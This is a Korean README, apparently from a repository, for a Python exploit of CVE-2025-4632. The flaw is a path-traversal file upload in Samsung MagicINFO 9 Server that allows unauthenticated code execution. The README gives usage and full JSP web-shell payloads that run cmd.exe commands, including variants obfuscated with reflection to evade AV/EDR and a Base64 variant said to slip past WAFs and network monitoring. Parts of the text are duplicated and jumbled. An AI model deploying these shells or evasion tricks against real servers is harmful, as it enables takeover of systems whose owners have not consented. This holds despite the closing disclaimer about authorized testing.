
이 저장소는 CVE-2025-4632에 대한 Python 복제 스크립트를 포함하고 있습니다. 이는 Samsung MagicINFO 9 Server(버전 21.1052 이전)의 인증되지 않은 원격 코드 실행(RCE) 취약점입니다.
이 저장소는 CVE-2025-4632에 대한 Python 재현 스크립트를 포함하고 있습니다. 이 취약점은 Samsung MagicINFO 9 Server(버전 21.1052 이전)에서 발견된 인증되지 않은 원격 코드 실행(RCE) 취약점입니다.
취약점은 SWUpdateFileUploader 서블릿에서 경로명에 대한 부적절한 제한으로 인해 발생합니다. 경로 순회(../../)를 이용하여 인증되지 않은 공격자가 SYSTEM 권한으로 임의의 파일을 작성할 수 있으며, 이로 인해 서버가 완전히 손상됩니다.
s4e-io (ProjectDiscovery Nuclei 커뮤니티 (http/cves/2025/CVE-2025-4632.yaml)).CVE-2025-4632 Nuclei 템플릿에 정의된 로직을 직접 프로그램 방식으로 구현한 것입니다.이 스크립트는 합법적인 장치 업데이트 요청을 생성하는 과정을 자동화합니다. fileName 파라미터에 디렉토리 순회 시퀀스를 주입하여 의도된 업로드 디렉토리를 벗어나 웹 루트()에 직접 파일을 작성합니다.
/MagicInfo/스크립트는 두 단계를 수행합니다:
/MagicInfo/servlet/SWUpdateFileUploader로 전송합니다./MagicInfo/<filename>에 업로드된 파일에 접근하여 성공적인 익스플로잇을 확인합니다.python exploit_magicinfo.py -t <TARGET_URL> -f <FILENAME> -d <PAYLOAD_DATA>
-t / --target: 대상의 기본 URL (예: http://192.168.1.100:7001).-f / --filename: 생성할 파일의 이름 (예: shell.jsp).-d / --data: 파일에 쓸 원시 내용.다음 페이로드는 평가 활동 중 성공적으로 테스트되었습니다. 이들은 엔드포인트 보안 제어를 우회하면서 영향력을 증명하도록 설계되었습니다.
백신이나 EDR을 트리거하지 않고 JSP 실행을 안전하게 확인하는 데 사용됩니다.
python exploit_magicinfo.py -t http://192.168.29.105:7001 -f poc.jsp -d '<% out.println("JSP Execution Confirmed. System time: " + new java.util.Date()); %>'
접근: http://<target>:7001/MagicInfo/poc.jsp
표준 JSP 웹 셸입니다. 참고: 최신 AV/EDR 솔루션에 의해 발견되어 격리될 수 있으며, 확인 시 404 Not Found가 발생할 수 있습니다.
python exploit_magicinfo.py -t http://192.168.29.105:7001 -f cmd.jsp -d '<%@ page import="java.io.*" %><% String c = request.getParameter("c"); if (c != null) { Process p = Runtime.getRuntime().exec("cmd.exe /c " + c); BufferedReader in = new BufferedReader(new InputStreamReader(p.getInputStream())); String l; out.print("<pre>"); while ((l = in.readLine()) != null) { out.println(l); } out.print("</pre>"); } %>'
접근: http://<target>:7001/MagicInfo/cmd.jsp?c=whoami
표준 셸이 차단될 때 사용됩니다. 이 페이로드는 Java 리플렉션을 사용하여 정적 분석에서 Runtime.getRuntime().exec 시그니처를 숨깁니다.
python exploit_magicinfo.py -t http://192.168.29.105:7001 -f bypass.jsp -d '<%@ page import="java.io.*" %><% String s1 = "Run"; String s2 = "time"; String s3 = "ex"; String s4 = "ec"; Object rt = Class.forName("java.lang."+s1+s2).getMethod("get"+s1+s2).invoke(null); String c = request.getParameter("c"); if(c!=null){Process p = (Process)rt.getClass().getMethod(s3+s4, String.class).invoke(rt, "cmd.exe /c " + c); java.util.Scanner s = new java.util.Scanner(p.getInputStream()).useDelimiter("\\A"); out.print("<pre>"+(s.hasNext()?s.next():"")+"</pre>");} %>'
접근: http://<target>:7001/MagicInfo/bypass.jsp?c=whoami /all
복잡한 명령에 강력히 권장: 공백, 백슬래시 또는 특수 문자(예: dir c:\)가 포함된 명령을 실행하려 할 때 400 Bad Request 오류가 발생하면, 서버의 엄격한 URI 검증 또는 WAF가 요청을 차단하는 것입니다.
이 고급 페이로드는 URL에 Base64로 인코딩된 명령을 기대합니다. 서버 측에서 실행 전에 디코딩하여 URL 필터링을 완전히 우회하고 네트워크 모니터로부터 명령을 숨깁니다.
python exploit_magicinfo.py -t http://192.168.29.105:7001 -f b64.jsp -d '<%@ page import="java.io.*,java.util.Base64" %><% String s1="Run";String s2="time";String s3="ex";String s4="ec";Object rt=Class.forName("java.lang."+s1+s2).getMethod("get"+s1+s2).invoke(null);String c=request.getParameter("c");if(c!=null){byte[] decodedBytes = Base64.getDecoder().decode(c);String decodedCmd = new String(decodedBytes);Process p=(Process)rt.getClass().getMethod(s3+s4,String.class).invoke(rt,"cmd.exe /c "+decodedCmd);java.util.Scanner s=new java.util.Scanner(p.getInputStream()).useDelimiter("\\A");out.print("<pre>"+(s.hasNext()?s.next():"")+"</pre>");} %>'
사용 예시:
로컬에서 명령을 Base64로 인코딩한 후(예: echo -n "dir c:\" | base64), c 파라미터에 전달합니다.
whoami -> d2hvYW1p
http://<target>:7001/MagicInfo/b64.jsp?c=d2hvYW1ptasklist /svc -> dGFza2xpc3QgL3N2Yw==
http://<target>:7001/MagicInfo/b64.jsp?c=dGFza2xpc3QgL3N2Yw==dir c:\ -> ZGlyIGM6XA==
http://<target>:7001/MagicInfo/b64.jsp?c=ZGlyIGM6XA==면책 조항: 이 스크립트는 교육 및 승인된 침투 테스트 목적으로만 사용됩니다.